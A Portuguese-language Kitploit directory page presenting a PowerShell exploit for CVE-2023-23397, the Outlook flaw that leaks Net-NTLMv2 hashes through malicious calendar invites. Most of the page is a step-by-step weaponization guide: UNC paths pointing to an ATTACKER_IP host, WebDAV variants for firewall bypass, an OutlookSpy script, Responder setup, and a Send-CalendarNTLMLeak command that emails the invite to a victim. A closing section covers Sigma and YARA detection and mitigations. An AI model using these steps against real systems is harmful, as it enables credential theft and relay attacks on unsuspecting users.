Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
OutlookNTLM_CVE-2023-23397 — Exploit para CVE-2023-23397 vazamento de hash NTLM do Outlook via convites de calendário maliciosos. Inclui weaponização com PowerShell, integração com Responder e regras de detecção para resposta a incidentes. | Kitploit
Ferramentas/GitHubGitHub/muhammad-ali007/outlookntlm_cve-2023-23397
Quebra de SenhasAnálise de VulnerabilidadesExploraçãoEvasão de IDS/IPSMovimento LateralPhishingResposta a Incidentes
GitHubmuhammad-ali007/outlookntlm_cve-2023-23397

OutlookNTLM_CVE-2023-23397

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit para CVE-2023-23397 vazamento de hash NTLM do Outlook via convites de calendário maliciosos. Inclui weaponização com PowerShell, integração com Responder e regras de detecção para resposta a incidentes.

Ver Repositório
2213há 3 anosRevisado pelo Kitploit

Para explorar esta vulnerabilidade, um atacante deve criar um convite de calendário malicioso que inclua uma referência a um arquivo de som apontando para um arquivo em um compartilhamento de rede na máquina do atacante. Internamente, um e-mail do Outlook armazena a referência ao arquivo de som em um parâmetro interno chamado "PidLidReminderFileParameter". Para garantir que o áudio que incorporamos em nosso e-mail malicioso tenha precedência sobre as configurações padrão de lembrete da vítima, também precisaremos definir outro parâmetro chamado "PidLidReminderOverride" como true.

Para configurar a propriedade "PidLidReminderFileParameter" para apontar para um compartilhamento de rede, o atacante pode especificar um caminho Universal Naming Convention (UNC) em vez de um arquivo local. O UNC é usado em sistemas operacionais Windows para encontrar recursos de rede (arquivos, impressoras, documentos compartilhados). Esses caminhos consistem em uma barra invertida dupla, o endereço IP ou nome do computador que hospeda o recurso, o nome do compartilhamento e o nome do arquivo. Por exemplo: \ATTACKER_IP\foo\bar.wav

Quando a vítima recebe o e-mail malicioso, o caminho UNC a direciona para esse compartilhamento SMB, acionando a vulnerabilidade. Isso faz com que o sistema inicie um processo de autenticação NTLM contra a máquina do atacante, vazando um hash Net-NTLMv2 que o atacante pode tentar quebrar posteriormente. Se por algum motivo o protocolo SMB não for uma alternativa viável, versões não servidoras do Windows aceitarão o uso de caminhos UNC apontando para as portas 80 ou 443 e usarão HTTP para recuperar o arquivo de um servidor web com WebDAV habilitado. A sintaxe desse caminho UNC é a seguinte:

\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav

Isso pode ser útil para contornar restrições de firewall que impedem conexões de saída para a porta 445 (SMB).

Fase de Ataque Vamos criar um e-mail malicioso contendo um compromisso com os parâmetros necessários para acioná-lo.

Configurando o Responder: Como esperamos que a vítima acione uma tentativa de autenticação contra o atacante na porta 445, configuraremos o Responder para lidar com o processo de autenticação e capturar o hash NetNTLM para nós. Se você não está familiarizado com o Responder, ele simplesmente emula um servidor SMB e captura qualquer tentativa de autenticação contra ele. responder -I

Tentando Criar Manualmente um Compromisso Malicioso:

  • Como primeira tentativa, poderíamos criar manualmente um compromisso e editar o caminho do arquivo de som do lembrete para apontar para uma pasta compartilhada. Para criar um compromisso, você primeiro precisará clicar no calendário e depois no botão Novo Compromisso.
  • Criaremos um compromisso que inclui um lembrete definido para 0 minutos, para que ele seja acionado logo após a vítima recebê-lo. Também clicaremos na opção Som para configurar o arquivo de som do lembrete.
  • Podemos tentar definir o caminho do arquivo de som para um caminho UNC que aponte para a máquina do atacante. No entanto, o Outlook ignorará silenciosamente o caminho UNC e voltará a usar o arquivo WAV padrão, o que pode ser confirmado voltando ao diálogo de Som (se não for substituído, podemos prosseguir a partir daqui ou precisaremos instalar o plugin OutlookSpy para nos ajudar caso contrário).

OutlookSpy: Mesmo que o Outlook não consiga definir o arquivo de som do lembrete para um caminho UNC, podemos usar o plugin OutlookSpy para conseguir isso. Este plugin permitirá que você acesse diretamente todos os parâmetros internos do Outlook, incluindo o arquivo de som do lembrete. Você precisará instalá-lo manualmente antes de prosseguir. Certifique-se de fechar o Outlook antes de executar o instalador.

  • Para visualizar nosso compromisso atual no OutlookSpy, clique na aba OutlookSpy. Certifique-se de clicar no botão "CurrentItem" dentro do compromisso, ou você poderá modificar outros componentes do Outlook.
  • Nesta janela, você pode ver os parâmetros associados ao lembrete do compromisso. Queremos definir o parâmetro "ReminderSoundFile" para o caminho UNC que aponta para a máquina do atacante e definir tanto "ReminderOverrideDefault" quanto "ReminderPlaySound" como true. Apenas para referência, aqui está o que cada parâmetro faz: ReminderPlaySound: valor booleano que indica se um som será reproduzido com o lembrete. ReminderOverrideDefault: valor booleano que indica ao cliente Outlook receptor para reproduzir o som apontado por ReminderSoundFile, em vez do som padrão. ReminderSoundFile: string com o caminho para o arquivo de som a ser usado. Para nosso exploit, isso apontará para uma pasta compartilhada falsa na máquina do atacante.

Podemos usar a aba de script e o seguinte script para alterar os parâmetros para os valores necessários: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"

Certifique-se de clicar no botão "Run" para que as alterações sejam aplicadas. Você pode voltar à aba "Properties" para verificar se os valores foram alterados corretamente. Por fim, salve seu compromisso para adicioná-lo ao seu calendário, garantindo que o lembrete esteja definido para "0 minutos" e que o compromisso corresponda à data e hora atuais, pois queremos que ele seja acionado imediatamente.

Se tudo ocorreu como esperado, você deverá ver imediatamente um lembrete aparecendo. E você deverá receber a tentativa de autenticação no console do Responder na máquina do atacante.

Armamento Resumindo as etapas necessárias para explorar a vulnerabilidade, um atacante precisaria de:

  • Criar uma reunião/compromisso malicioso com um som de lembrete personalizado apontando para um caminho UNC na máquina do atacante.
  • Enviar o convite para a vítima por e-mail.
  • Aguardar o lembrete acionar uma conexão contra a máquina do atacante.
  • Capturar o hash Net-NTLMv2, usar relay de autenticação ou obter vantagem de qualquer outra forma.

As etapas 3 e 4 já são cobertas pelo Responder, mas criar manualmente o compromisso malicioso é um pouco tedioso. Felizmente, alguns exploits estão prontamente disponíveis para criarmos e enviarmos um compromisso malicioso, um dos quais é fornecido neste repositório.

Este exploit em Powershell aproveita os objetos COM do Outlook para criar e-mails e compromissos facilmente. Ele contém algumas funções que podemos usar: Save-CalendarNTLMLeak: Esta função cria um compromisso malicioso e o salva em seu próprio calendário. Útil para fins de teste. Send-CalendarNTLMLeak: Esta função cria um compromisso malicioso e o envia por e-mail para uma vítima. O convite por e-mail será enviado da conta padrão atual do seu Outlook.

Usando o Exploit: No Powershell, você pode importar as funções do exploit com o cmdlet "Import-Module". Depois disso, ambas as funções estarão disponíveis no seu Powershell atual. Para enviar um e-mail com um compromisso malicioso, basta executar o seguinte comando:

PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."

Como o exploit usa a instância atual do Outlook para enviar o e-mail, você provavelmente receberá alguns alertas pedindo permissão para o script enviar e-mails em seu nome. Certifique-se de pressionar Allow quantas vezes forem necessárias. Marcar a caixa de seleção "Allow access for 10 minutes" também pode ajudar a acelerar esse processo.

Detecção e Mitigação

Detecção: Agora que passamos pelas etapas para armar o ataque CVE-2023-23397 no Outlook, vamos falar sobre algumas maneiras de detectar esse ataque na rede. Cada ataque deixa padrões ou artefatos que podem ajudar a equipe de detecção a identificar as ameaças. Tudo depende da visibilidade da rede e das fontes de log que estão sendo coletadas e que fornecem essa visibilidade tão importante.

Regras Sigma: A regra Sigma anexada detecta o Outlook iniciando uma conexão com um compartilhamento WebDav ou SMB, indicando uma fase de pós-exploração. Esta regra Sigma procura detectar "svchost.exe" gerando "rundll32.exe" com argumentos de comando como C:\windows\system32\davclnt.dll,DavSetCookie, o que indica uma fase de pós-exploração/exfiltração. Essas regras SIGMA podem ser convertidas para a ferramenta de detecção e monitoramento para caçar atividades suspeitas de log na rede.

Regra YARA: A regra YARA procura o padrão dentro dos arquivos no disco. As regras YARA da comunidade anexadas podem ser usadas para detectar o arquivo MSG suspeito no disco com as duas propriedades discutidas nas tarefas acima.

A Microsoft lançou um script PowerShell "CVE-2023-23397.ps1" que verificará os itens de mensagens do Exchange, como e-mail, calendário e tarefas, para ver se os IOCs relacionados ao ataque CVE-2023-23397 são encontrados. O script pode ser usado para auditar e limpar os itens detectados.

Mitigação: Esta vulnerabilidade está sendo amplamente explorada em ataques reais. Algumas das etapas recomendadas pela Microsoft para mitigar e evitar este ataque são:

  • Adicionar usuários ao grupo de segurança Protected Users, o que impede o uso de NTLM como mecanismo de autenticação.
  • Bloquear TCP 445/SMB de saída da sua rede para evitar qualquer conexão pós-exploração.
  • Usar o script PowerShell lançado pela Microsoft para verificar o servidor Exchange e detectar qualquer tentativa de ataque.
  • Desativar o serviço WebClient para evitar conexões WebDAV.
Baixar ferramenta